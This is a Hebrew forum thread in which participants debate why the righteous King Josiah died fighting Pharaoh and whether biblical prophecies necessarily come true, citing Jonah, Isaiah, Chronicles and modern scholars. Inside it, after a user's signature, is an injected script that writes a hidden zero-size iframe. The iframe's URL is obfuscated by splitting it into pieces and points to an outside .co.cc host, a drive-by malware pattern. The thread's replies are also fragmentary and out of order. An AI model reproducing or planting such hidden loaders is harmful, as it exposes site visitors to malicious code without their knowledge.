מדוע נכשל יאשיהו?

לכאורה הכל היה מושלם:

לאברם העברי
גם אם המציאו לתופעה שם לועזי מפוצץ, ואפילו אם הוא יפה כמו "טאוטולוגיה", זה לא פוגם באמת שלו.
לגבי נינוה תהליך התשובה התחיל ביום הראשון, אבל ייתכן שלקח 40 יום. זה תלוי איך מפרשים את יונה פרק ד פסוק ה', לפני 40 יום או אחרי. מחלוקת פרשנים.
לגבי ישעיהו. ניתן לפרש (בדוחק), שמדובר בישעיהו של תקופת חזקיה. ירושלים כן לקתה כפלים, אמנם היא לא נחרבה, אבל לעמוד במצור, כשרוב התושבים ברחו למצרים, זה לא תענוג גדול. גם לגבי כורש, אפשר להסביר (נדמה לי שזו דעת הרב יעקב מדן) שמדובר בכורש מלך מדי קדום יותר מכורש של ימי שיבת ציון.
בכל אופן אינני נרתע מהדעה שהחצי השני של ישעיהו נכתב ע"י נביא ישעיהו אחר בימי שיבת ציון.
ובכל מקרה, נבואות משחיות כמו ישעיהו י"א נכתבו בתקופת חזקיהו.

בנוגע להערתך על דוד עם מכנסי החאקי, גם אני סבור שזוהי אתחלתא דגאולה, אבל את הקרדיט האדיר שקיבל דוד העומד על הראש, הייתי מחלק גם לאנשים נוספים גדולים וחשובים ממנו.
 

טוב, לגבי הנבואה טענת טענה המכונה בלע"ז כמדומני 'טאוטולוגיה' - כל נבואה מתקיימת, כי גם כשהיא לא מתקיימת היא מתקיימת:)
לגבי נינוה - שים לב שה'מהפך' קרה תוך יום, אולי כמה ימים, לא 40.
לגבי נבואות ישעיהו - אמנם פרק מ' ("נחמו נחמו") נסמך לפרק לט העוסק בחזקיהו, אבל אין לו שייכות לימי חזקיהו. הפסוק הראשון שם הוא כזכור: "דַּבְּרוּ עַל לֵב יְרוּשָׁלִַם וְקִרְאוּ אֵלֶיהָ כִּי מָלְאָה צְבָאָהּ כִּי נִרְצָה עֲו‍ֹנָהּ  כִּי לָקְחָה מִיַּד ה' כִּפְלַיִם בְּכָל-חַטֹּאתֶיהָ" והרי ירושלים לא נפגעה כלל, אלא דווקא ארץ יהודה, וברור שהדברים מכוונים לחורבן הבית ע"י הבבלים.
חוץ מזה, הבעיה בנבואות הללו שהן מזכירות במפורש את כורש: "הָאֹמֵר לְכוֹרֶשׁ רֹעִי" (מד כח), "כֹּה אָמַר ה' לִמְשִׁיחוֹ לְכוֹרֶשׁ..." (מה א),  וכאן ודאי הכוונה לכורש מימי שיבת ציון (וא"ת שנוסף מאוחר יותר כפרשנות - נמצית מודה לביקורת המקרא:)

אמנם אין ספק שנבואות ישעיהו היו אחד ממנועי הציונות, שהיא התגשמות דבר ה' בימינו, ואולי בזכותן עם ישראל שמר על הגחלת הזו בכל תפוצותיו (רק להזכיר, הדבר היחיד שהיה משותף לכל יהודי העולם, כולל אתיופים וקוצ'ינים, הוא האמונה שיום יבוא ויגיע המשיח וישיב אותם לארץ ישראל - ואכן הגיע משיח ושמו דוד (!) עם מכנסי חאקי ופנקס הסתדרות והוציאם מהגלות, וד"ל:)

הערונת + הערה
לגבי חזקיה ושליחי מראדך בלאדן, לענ"ד (וסליחה שאני חולק על מוהר"ר יהודה אליצור) הבעיה לא הייתה ההתערבות שבין המעצמות, אלא בעיה עמוקה אחרת, גם דתית וגם היסטורית, אבל היא שווה אשכול משלה, כי יש לה השלכות משמעותיות גם להיום.

לגבי התגשמות הנבואות:
לענ"ד, וסליחה אם זו נשמעת טענה תלושה מהמציאות: כל נבואה מתקיימת. "ודבר אחד מדבריך, אחור לא ישוב ריקם".
למקרה שהרמתם גבה, אסביר:
הנבואות מתגשמות, אך פרשנותן משתנה ע"פ מעשי בני האדם.
שתי דוגמאות:
1.הדוגמא הכי קלאסית: נבואתו של יונה "עוד ארבעים יום ונינוה נהפכת" לא התבטלה, אלא פרשנותה השתנתה. אכן לאחר ארבעים יום נינוה נהפכה, אבל לא נהפכה כמו סדום, אלא נהפכה מרשעה לחוזרת בתשובה.
2. נבואות הגאולה של ישעיהו (הראשון, או האחד והיחיד. תלוי את מי שואלים) ניבא אותם והתכוון לחזקיהו המלך. נבואות הנחמה של יחזקאל,זכריה ועוד..., לכולם היה פוטנציאל להתקיים, אך מפני חטאינו הפרשנות השתנתה והגאולה נדחתה להזדמנות הבאה (מדינת החשמונאים, לדוגמא), היא ממשיכה להידחות עד לאתחלתא דגאולה שבימינו. אם נזכה, הנבואה תתקיים בימינו. אם ח"ו נחמיץ את השעה, הנבואה לא תתבטל, אלא פרשנותה תשתנה לדור אחר. 
כמובן שהדברים ארוכים, כאשר אנו מנסים לפענח נבואות נוספות שלכאורה לא התקיימו כמו נבואות חולדה דלעיל, נבואת ישעיהו שחזקיה ימות מחוליו, ועוד ...
וק"ק, ואכמ"ל, ודו"ק, והבן, והקשה, ותרץ, ותהנה...

ולגבי נבואות שלא התקיימו -  לי נראה פשוט שהנביא בא גם - ואולי בעיקר! - להתוות דרך וכיוון, ולא לנבא את העתיד.
הלא זה היה אחד מחידושיו של יחזקאל קויפמן ז"ל, אודות "הנבואה השליחית הישראלית", בניגוד למתנבאים-קוסמים-כאהינים שרווחו בעולם העתיק! לכן אין מה להתרגש מנבואות שלא קרו ככתבן, שכן לא בזה נמדד הנביא. אמנם הרמב"ם כתב מה שכתב ונתן קריטריונים וכו', אבל יש לדון האם גם בימי המקרא חשבו כך - בכל אופן מעולם לא מצאנו שבדקו איזשהו נביא במקרא לפי הקריטריונים האלו, והדברים ארוכים. 

אגב, המקום הראשון בו מוזכר נביא בתנ"ך הוא אצל אברהם "... כי נביא הוא ויתפלל" - מכאן משמע שעיקר תפקידו של הנביא הוא להתפלל בעד העם (וכך שמואל, אלישע, עמוס, ירמיהו ועוד, ומכאן האכזבה האלהית מאליהו ואכמ"ל).

למיימוני –

אברהם

תודה.

ואני עונה לפי סימניך:

א. חרשתי גם חרשתי ורבות למדתי. פשוט לא שמתי לב לציטוט הזה (מחמת החפזון בלבד, יש לקוות). עם זאת, בזכרוני היה שהובטחה לו גם אריכות ימים, ולפיכך אפשר שהפסוקים האלו לא נראו לי מספיק ברורים בתחום.

לפי דבריך אין כאן שאלה.

ואם אצטט מן הסעיף הבא, שאני מבקש לייחד להתגשמותן של נבואות, יש לנו כאן מחלוקת פרופסורים: אליצור מול הופמן.

ויתכן שכל אחד אמר דבר שהוא נכון לכשעצמו. אם אנו לומדים מתרבויות אחרות, וכך ראוי לעשות כדי לקבל לכל הפחות רקע למקרא, אזי יתכן שמוות בקרב הוא הישג. (אינטואיטיבית זה לא נשמע נכון, מפני שמוות בקרב הוא סוף סוף מוות וכשלון. אולי הכוונה למוות שבו הצבא מנצח ורק המלך מת). מצד שני, יתכן שבעם ישראל, ובמלכות יהודה, ואצל מלך כיאשיהו שמוצג לנו שיראתו קודמת למלכותו, זה היה אמור להיות אחרת.

ובוודאי בעיני נביא כירמיהו.

אמנם אם מוות בקרב הוא מוות "יפה", אזי התקיימו דברי חולדה.

ב. השאלה האם נבואות יתגשמו בהכרח או לא היא שאלה חשובה. ויש לה מקורות סותרים. אולי אפשר להעלות אותה כאן אם כי היא רחבה מאד.

בוודאי שלי אין משנה סדורה בדבר, אבל גם בגלל שהמקורות אינם חד משמעיים או סותרים.

1. מבחן נביא האמת הוא שיתגשמו דבריו. ומשמע באותו דור.

2. נבואה לרעה עשויה להתבטל.

משני סעיפים אלו עולה שנבואה לטובה אין חזרה ממנה, והיא אמורה להתגשם כפשוטה.

עם זאת מצאנו שהנביא עצמו אינו מבין תמיד נכון את נבואתו, ולגביה הריהו ככל פרשן אחר.

דברי התוס' החביבים על לייבוביץ, ובצדק, הם מתקבלים על הדעת, ובכך יתרונם, אבל הם מנוגדים למקורות.

כמובן נטית הלב של האדם היא לקוות שאם יש נבואה, היא גם תתגשם, כוונתי לנבואות טובות. קשה לנו לקבל שנבואה יכולה לא להתגשם. אם כך הוא, על מה כבר ניתן לסמוך?

אבל זו רק הרגשה פסיכולוגית.

ג. יש רמות שונות של חשדנות ביחס למקרא, ואני שמח לגלות שאנו שוים באמון הראשוני שלנו למקורות.

לגבי דברי הימים, כמה תשובות בדבר:

1. איני מכיר את הספר...

2. דומה שפרשנות כמו זו שציינת היא בגדר פרשנות, ואם ניתן להבדיל בינה לבין זיוף עובדות, היא אמינה לכל הפחות במה שהיא כן מתארת.

אבהיר יותר: הפרשנות מהסוג שמיוחס לבעל דברי הימים אמורה או עלולה להביא לתוצאות הבאות:

I להדגיש עובדות רצויות שעולות בקנה אחד עם התיאוריה.

II להעלים עובדות לא נוחות.

III להציע לשון הסבר במקום שיש רק עובדות שאינן בהכרח קשורות.

IIII לטעון שדברים היו בשלב מוקדם כדי להסביר מדוע קרו דברים ידועים בשלב מאוחר יותר. ולהציג זאת כעובדה.

הסעיף הראשון אינו בעיתי וזו דרך הכותבים. גם הסעיף השני רק מזהיר אותנו לא להשתמש בשיטת "הלימוד מן השתיקה" כאשר יש שתיקה בנוגע לעובדות שאנו יודעים ממקור אחר.

הסעיף השלישי מחייב אותנו לזהירות בקריאה ולהכרה ש"מפני ש..." הוא לעתים רק "זה בא לפני זה" וכי ה"מפני ש..." הוא השערת המחבר.

הסעיף הרביעי הוא הבעייתי. אם מתארים עובדה שקיומה רק משוער, זו בעיה. השאלה היא אם יש דוגמאות כאלו בספר.

בכל אופן, עלינו להביא בחשבון שני פנים לאבחנה לגבי מחבר דברי הימים. מצד אחד, הוא עשוי להיות בעל רוח הקודש, כלומר, למצער נהנה מסייעתא דשמיא, ואכן דבריו התקבלו בידי חז"ל לקנון המקראי שלנו.

מצד שני, אפילו נביא ממש יכול לטעות. אז יש לתת לדבריו, להערכתי, משקל של תיאוריה חשובה מאד, אבל לא מעבר לכך. ותמיד לזכור שיש מקום לפרשנות נוספת.

_______שופר ניסוח לא ברור__________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

למיימוני –

ל- urison –
כתבת ש "כל ההסבר המדיני שכתבת, מוכיח דבר פשוט: יאשיהו התעבר על ריב כן לו"
אז נכון – ודאי היה ליאשיהו עניין בהצלחתה של בבל, אבל לכן הבאתי את דברי אליצור, שלמעשה טוען שני דברים:

מן הסתם כוונת מיימוני לגמ' במו"ק כח: 
ואגב - גמ' זו היא לכאורה פינה לגבי היחס להתגשמות הנבואה

אוריסון

איקון ירוק על אשכול חשוב, ואיקון ירוק נוסף על שהתעקשת להזכיר שהדברים ראויים להתייחסות.

אברהם העברי

איקון ירוק מאד על תשובותיך. תודה במיוחד על המקור מהובס.

אני מצטרף כמובן למסקנתו המתבקשת של אוריסון: יאשיהו ניסה לצאת למלחמה שבה היה מסוכן להתעסק.

אולי כדאי לשים לב לסוגי השאלות שמעלה הסיפור, ולסוגי התשובות.

שאלה היסטורית: מה ראה יאשיהו, שמלך מצליח היה, לצאת למלחמה נגד פרעה המצרי, ולהסתכן?

שאלה תיאולוגית: כיצד נהרג יאשיו בדמי ימיו, לאחר שמלך כה צדיק היה, וצדיק כמוהו לא היה מאז דוד, כולל חזקיהו?

מה שלא הוזכר כאן הוא שיאשיהו קיבל הבטחה לאריכות ימים. איני זוכר את הפסוק, אבל מותו בטרם עתה הווה הפרכה של ההבטחה.

כפי שהעיר בשעתו פרופסור אליצור ע"ה, שהוזכר כאן, מותו של יאשיהו היה משבר גדול גם עבור הנביא ירמיהו, גם מבחינת העם אבל גם מבחינה תיאולוגית. המשבר התיאולוגי הזה נסתר מעינינו בגלל המרחק בזמן וחוסר היכרות עם הסיפור כראוי, אבל זו עדיין שאלה עצומה למאמין בהשגחה פרטית, ובמיוחד על אדם שממלא תפקיד ממלכתי. מדוע לא נעשה לו נס להינצל בזכויותיו הרבות? כיצד איבדה ממלכת יהודה את המלך שהיה יכול להחזיר את העם בתשובה?

לכל שאלה יש תשובות במישור אחר.

לשאלה ההיסטורית כבר ענה אברהם העברי, וכן כתבו פרופסור אליצור ובזמננו הרב יעקב מידן: יאשיהו השיג רבות, גם מבית (תיקונים חברתיים ודתיים) וגם מבחוץ (הרחבת הממלכה). הוא האמין שחשוב לעכב את פרעה בדרכו. אולי גם סמך על השגחה פרטית שתעזור לו.

לשאלה התיאולוגית יש תשובות שונות, ואין לה פתרון שמניח לגמרי את הדעת. במיוחד לא עקב ביטול ההבטחה לאריכות ימים (אלא שאיני זוכר את המקור לזה). כמדומה שהתשובה הנכונה היא ש"מקום סכנה שאני" (דווקא גמרא שנגיע עוד מעט אליה בדף היומי). וכדברי הובס המצוטטים בידי אברהם העברי.

מי שקופץ מבנין גבוה אל יצפה לנס שישאיר אותו חי ובריא. מי שיוצא להילחם בצבא חזק ממנו, ידע שהוא עלול לשלם ביוקר.

נכון שהיו מקרים של נצחון לצד החלש לכאורה. אבל איך ידע אדם שהוא עומד להצליח?

המעפילים בפרשת בשלח קיוו שנכונותם להילחם כדי לזכות להגיע לארץ ישראל תכפר על חטא המרגלים. הם טעו.